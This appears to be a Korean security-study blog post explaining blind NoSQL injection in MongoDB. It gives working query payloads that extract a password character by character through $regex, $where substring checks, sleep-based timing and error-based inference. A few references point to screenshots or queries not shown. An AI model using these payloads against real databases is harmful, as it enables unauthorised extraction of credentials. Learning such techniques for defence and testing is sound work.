MongoDB에는 여러가지 연산자들이 있는데 이것을 blind 기법을 사용해 악성 행위를 할 수 있다.
크게 아래 2가지를 사용하는것 같고 더 많은 연산자들은 공식문서를 확인하자
$regex | 지정된 정규식과 일치하는 문서를 선택합니다. |
$where | JavaScript 표현식을 만족하는 문서와 일치합니다. |
1. $regex
정규식을 사용해 식에 맞는 데이터를 조회한다.
db.getCollection("account").find({upw: {$regex: "^a"}})
db.getCollection("account").find({upw: {$regex: "^b"}})
db.getCollection("account").find({upw: {$regex: "^c"}})
...
db.getCollection("account").find({upw: {$regex: "^g"}})
이 구문의 뜻은 upw컬럼에 있는 데이터중 맨 앞자리가 (특정문자) 일때의 테이블을 찾아라.
실제로 해보면
upw가 guest인 테이블만 뽑히게 된다.
위 구문은 uid가 admin이면서 upw의 길이가 5자리인 테이블을 보여줘라 라는 뜻이다.
길이를 재는 정규식을 사용하면 특정 아이디에 대한 길이를 알 수 있다.
물론 ^만 사용해서 알아낼 수 있겠지만, 길이를 알아내고 길이에 맞춰서 익스 코드를 작성하는 것이 더 빠르고 확실할 것이다.
2. $where
자바스크립트 문법에 맞는 데이터를 조회한다.
db.getCollection("account").find({$where:"1"})
db.getCollection("account").find({$where:"1==1"})
db.getCollection("account").find({$where:"return 1==1"})
다 똑같다.
1번째 쿼리는 account 콜렉션의 모든 데이터를 보여주는 쿼리인데,
3번째 쿼리도 결국 find함수 안에 true가 들어있는 것과 다름없기 때문에 1번 쿼리와 같은 결과를 볼 수 있다.
하지만,
이런식으로 특정 필드안에서는 사용하지 못한다.
2_1. $where을 사용한 substring
RDBMS에서도 사용하는 substring 함수를 사용한 blind 기법이다.
db.getCollection("account").find({$where: "this.upw.substring(0,1)=='a'"})
db.getCollection("account").find({$where: "this.upw.substring(0,1)=='b'"})
db.getCollection("account").find({$where: "this.upw.substring(0,1)=='c'"})
...
db.getCollection("account").find({$where: "this.upw.substring(0,1)=='g'"})
정규식을 사용하는 방법과 크게 다르지 않지만, $where을 사용하여 특정 컬럼의 값을 알아낼 때 유용하다.
정규식은 필드에 사용할 수 있고 $where은 필드에 사용할 수 없는 차이점이 있겠다.
upw의 맨 앞자리가 g일 때의 테이블과 첫번째 두번째가 gu일 때의 테이블을 보여준다.
3. sleep()
MongoDB는 sleep함수를 지원하기 때문에 값의 참과 거짓을 response를 받는 시간으로 알아낼 수 있다.
db.getCollection("account").find({$where: `this.uid=='guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1'`})
&&연산자를 사용하여 uid가 guest일때 upw의 앞자리가 g일 경우 sleep함수도 실행시켜 응답이 느리지만,
아닐 경우에는 substring에서 false를 return하기 sleep함수를 실행시키지 않아 db에서 바로바로 답이 오게 된다.
위와 사진과 같이 앞자리가 g일 경우 db에서 값을 뿌리는 속도가 다르다.
3. error based
이 방법은 위의 sleep함수와 같은 방법이지만 값의 참 거짓 유무를 판단하는 방법만 달라졌을 뿐이다.
db.getCollection("account").find({$where: `this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'`}) //성공
db.getCollection("account").find({$where: `this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'`}) //실패
위에서는 sleep함수가 mongodb에서 사용이 됐기 때문에 값의 참 거짓 유무를 시간으로 판별했지만,
이것은 sleep함수가 아닌 정의되지 않은 구문을 사용하여 구문이 실행이 되는지 안되는지로 참 거짓을 판별한다.
맨 앞자리에 g가 들어가기 때문에 asdf함수를 실행시키는 과정에서 오류가 발생했다.
'Web hacking > 이론' 카테고리의 다른 글
SSRF (web-ssrf) (0) | 2022.10.21 |
---|---|
File Vulnerability (image-storage, file-download-1) (0) | 2022.08.31 |
Command Injection (0) | 2022.08.24 |
비관계형 데이터베이스 Mongo DB, Redis, Couch DB (0) | 2022.08.17 |
SQL injection, Blind SQL injection (0) | 2022.08.17 |
최근댓글